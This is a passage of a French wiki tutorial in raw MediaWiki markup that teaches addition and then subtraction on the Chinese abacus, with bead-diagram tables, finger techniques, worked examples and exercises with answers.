/>[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]] | width="25"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" | Début || &nbsp; || &nbsp; | &nbsp; || align="center" | Fin |} </center> <i>Note : les deux boules sont déplacées d'un seul geste.</i> Exercices : calculez les autres cas. === Technique 2 - Doigté : activer une quinaire avec l'index === Cette technique s'applique pour ajouter 5 à condition que la quinaire soit désactivée , c'est-à-dire les cas suivants: <br />0+5 ; <br />1+5 ; <br />2+5 ; <br />3+5 ; <br />4+5 Exemple : 2+5=7 <center> {| cols="5" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="25"% | &nbsp; | [[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="25"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" | Début || &nbsp; || &nbsp; | &nbsp; || align="center" | Fin |} </center> Exercices : calculez les autres cas. === Technique 3 - Doigté : activer simultanément des unaires avec le pouce et une quinaire avec l'index === Cette technique s'applique lorsque la quinaire est désactivée et qu'il reste suffisamment de unaires désactivées, c'est-à-dire dans les cas suivants: <br />0+6 ; 0+7 ; 0+8 ; 0+9 ; <br />1+6 ; 1+7 ; 1+8 ; <br />2+6 ; 2+7 ; <br />3+6 Exemple : 1+7=8 (équivaut à 1+(2+5)) <center> {| cols="5" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="25"% | &nbsp; | [[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]] | width="25"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" | Début || &nbsp; || &nbsp; | &nbsp; || align="center" | Fin |} </center> Exercices : calculez les autres cas. === Technique 4 - Doigté : activer une quinaire avec l'index puis désactiver des unaires avec l'index === <i>Note : on peut aussi utiliser le doigté suivant (qui demande un peu plus de pratique) : activer la quinaire avec l'index et désactiver simultanément les unaires avec le pouce.</i> Cette technique s'applique pour ajouter 1, 2, 3 ou 4 alors que le nombre de unaires désactivées est insuffisant et que la quinaire est désactivée, c'est-à-dire dans les cas suivants: <br />1+4 ; <br />2+3 ; 2+4 ; <br />3+2 ; 3+3 ; 3+4 ; <br />4+1 ; 4+2 ; 4+3 ; 4+4 Exemple : 4+3=7 (équivaut à 4+(5-2)) <center> {| cols="7" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] | width="15"% | &nbsp; | [[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] | width="15"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]] | width="15"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" | Début || &nbsp; || &nbsp; | &nbsp; || &nbsp; || &nbsp; || align="center" | Fin |} </center> Exercices : calculez les autres cas. === Technique 5 - Doigté : désactiver des unaires avec l'index puis activer une décadaire avec le pouce === Cette technique s'applique lorsque le nombre de unaires désactivées est insuffisant pour ajouter 9, 8, 7, ou 6. On prend alors le complément à 10 (voir tableau de correspondances) c'est-à-dire dans les cas suivants : <br />1+9 ; <br />2+8 ; 2+9 ; <br />3+7 ; 3+8 ; 3+9 ; <br />4+6 ; 4+7 ; 4+8 ; 4+9 ; <br />6+9 ; <br />7+8 ; 7+9 ; <br />8+7 ; 8+8 ; 8+9 ; <br />9+6 ; 9+7 ; 9+8 ; 9+9 Exemple : 4+7=11 (équivaut à 4+(10-3)) <center> {| cols="11" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" colspan="2" | Début || &nbsp; | &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || align="center" colspan="2" | Fin |} </center> Exercices : calculez les autres cas. === Technique 6 - Doigté : désactiver une quinaire avec l'index puis activer une décadaire avec le pouce === Cette technique s'applique quand on ajoute 5 et que la quinaire est déjà activée, c'est-à-dire dans les cas suivants : <br />5+5 ; <br />6+5 ; <br />7+5 ; <br />8+5 ; <br />9+5 Exemple : 8+5=13 <center> {| cols="11" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" colspan="2" | Début || &nbsp; | &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || align="center" colspan="2" | Fin |} </center> Exercices : calculez les autres cas. === Technique 7 - Doigté : désactiver des unaires avec l'index, désactiver une quinaire avec l'index puis activer une décadaire avec le pouce === Cette technique s'applique pour ajouter 1, 2, 3 ou 4 alors que le nombre de unaires désactivées est insuffisant et que la quinaire est activée, c'est-à-dire dans les cas suivants: <br />6+4 ; <br />7+3 ; 7+4 ; <br />8+2 ; 8+3 ; 8+4 ; <br />9+1 ; 9+2 ; 9+3 ; 9+4 Exemple : 8+3=11 (équivaut à 8 + (5 - 2)) <center> {| cols="14" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" colspan="2" | Début || &nbsp; | &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || align="center" colspan="2" | Fin |} </center> Exercices : calculez les autres cas. === Technique 8 - Doigté : activer des unaires avec le pouce, désactiver une quinaire avec l'index puis activer une décadaire avec le pouce === Cette technique s'applique pour ajouter 6, 7, 8 ou 9 alors que le nombre de unaires désactivées est suffisant et que la quinaire est activée, c'est-à-dire dans les cas suivants: <br />5+6 ; 5+7 ; 5+8 ; 5+9 ; <br />6+6 ; 6+7 ; 6+8 ; <br />7+6 ; 7+7 ; <br />8+6 Exemple : 6+7=13 (équivaut à 6 + 2 + (10 - 5)) <center> {| cols="14" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="15"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" colspan="2" | Début || &nbsp; | &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || align="center" colspan="2" | Fin |} </center> Exercices : calculez les autres cas. == Addition à plusieurs chiffres == Les additions à plusieurs chiffres se décomposent en fait en additions à un chiffre, colonne par colonne, de gauche à droite (contrairement à ce qui se pratique en Occident pour les calculs sur papier), à ceci près que lorsqu'il est nécessaire d'activer une décadaire et que la colonne des décadaire représente déjà le chiffre 9, on représente 0 sur cette colonne puis on ajoute une centaine (et ainsi de suite si les centaines sont également à 9). De telles additions peuvent mêler plusieurs techniques. Exemple : 193+578 <center> {| cols="11" cellspacing="0" cellpadding="0" |----- | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="20"% | &nbsp; | [[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="20"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="20"% | &nbsp; |----- | colspan="3" align="center" | Départ || &nbsp; | colspan="3" align="center" | 1+5 : technique 2 - étape 1 (+q) | &nbsp; | colspan="3" align="center" | 9+7 : technique 5 - étape 1 (-3u) |----- | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |----- | colspan="3" align="center" | 9+7 : technique 5 - étape 2 (+d) | &nbsp; | colspan="3" align="center" | 3+8 : technique 5 - étape 1 (-2u) | &nbsp; | colspan="3" align="center" | 3+8 : technique 5 - étape 2 (+d) |----- | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | &nbsp; || &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || &nbsp; |----- | colspan="3" align="center" | Fin || &nbsp; | colspan="3" align="center" | &nbsp; | &nbsp; || colspan="3" align="center" | &nbsp; |} </center> == Additions à plus de deux opérandes == Lorsqu'une addition concerne plus de deux opérandes, il suffit d'ajouter un à un les opérandes au nombre représenté sur le boulier (d'abord le premier opérande, puis le résultat des précédentes additions). === Exercices === Voici quelques exercices (les résultats sont indiqués pour vous éviter de les calculer avec une machine ou un bout de papier pour vérification) : {| width="100%" cols="5" |----- | align="right" | 6 || align="right" | 75 | align="right" | 456 | align="right" | 752 || align="right" | 856 |----- | align="right" | + 15 || align="right" | + 96 | align="right" | + 75 | align="right" | + 49 || align="right" | + 75 |----- | align="right" | + 203 || align="right" | + 526 | align="right" | + 12 | align="right" | + 8560 || align="right" | + 49 |----- | align="right" | + 56 || align="right" | + 4398 | align="right" | + 975 | align="right" | + 905 || align="right" | + 8426 |----- | align="right" | + 92 || align="right" | + 2 | align="right" | + 7562 | align="right" | + 4519 || align="right" | + 10243 |----- | align="right" | <b>= 372</b> || align="right" | <b>= 5097</b> | align="right" | <b>= 9080</b> | align="right" | <b>= 14785</b> || align="right" | <b>= 19649</b> |} D'autres exercices vous seront proposés dans la [[S'initier au boulier en 10 leçons - Leçon 4|leçon 4]]. S'initier au boulier en 10 leçons - Leçon 3 104 11908 2005-05-25T06:43:35Z Natsaka 319 {{Boulier}} '''Leçon 3 - La soustraction''' <br/> <BR/> == Les 8 techniques de la soustraction == Les soustractions ressemblent beaucoup aux additions : elles se calculent selon 8 techniques qui sont souvent les opposées des techniques de l'addition. === Technique 1 - Doigté : désactiver des unaires avec l'index === Cette technique s'applique pour ôter 1, 2, 3, ou 4 alors que le nombre de unaires activées est suffisant, c'est-à-dire dans les cas suivants : <br />1-1 ; <br />2-1 ; 2-2 ; <br />3-1 ; 3-2 ; 3-3 ; <br />4-1 ; 4-2 ; 4-3 ; 4-4 ; <br />6-1 ; <br />7-1 ; 7-2 ; <br />8-1 ; 8-2 ; 8-3 ; <br />9-1 ; 9-2 ; 9-3 ; 9-4 Exemple : 8-2=6 <center> {| cols="5" cellspacing="0" cellpadding="0" |----- | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="25"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]] | width="25"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] |----- | align="center" | Début || &nbsp; || &nbsp; | &nbsp; || align="center" | Fin |} </center> <i>Note : les deux boules sont déplacées d'un seul geste.</i> Exercices : calculez les autres cas. === Technique 2 - Doigté : désactiver une quinaire avec l'index === Cette technique s'applique pour ôter 5 alors que la quinaire est activée c'est-à-dire dans les cas suivants : <br />5-5 ; <br />6-5 ; <br />7-5 ; <br />8-5 ; <br />9-5 Exemple : 7-5=2 <center> {| cols="5" cellspacing="0" cellpadding="0" |----- | [[Image:Vertic.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="25"% | &nbsp; | [[Image:Vertic.png]]<br />[[Image:Boule-rouge.png]]<br />[[Image:Horiz-r.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Boule-noire.png]]<br />[[Image:Vertic.png]]<br />[[Image:Boule-grise.png]]<br />[[Image:Boule-grise.png]] | width="25"% | &nbsp; | [[Image:Boule-grise.png]]<br />[[Image:Vertic.png]]<br 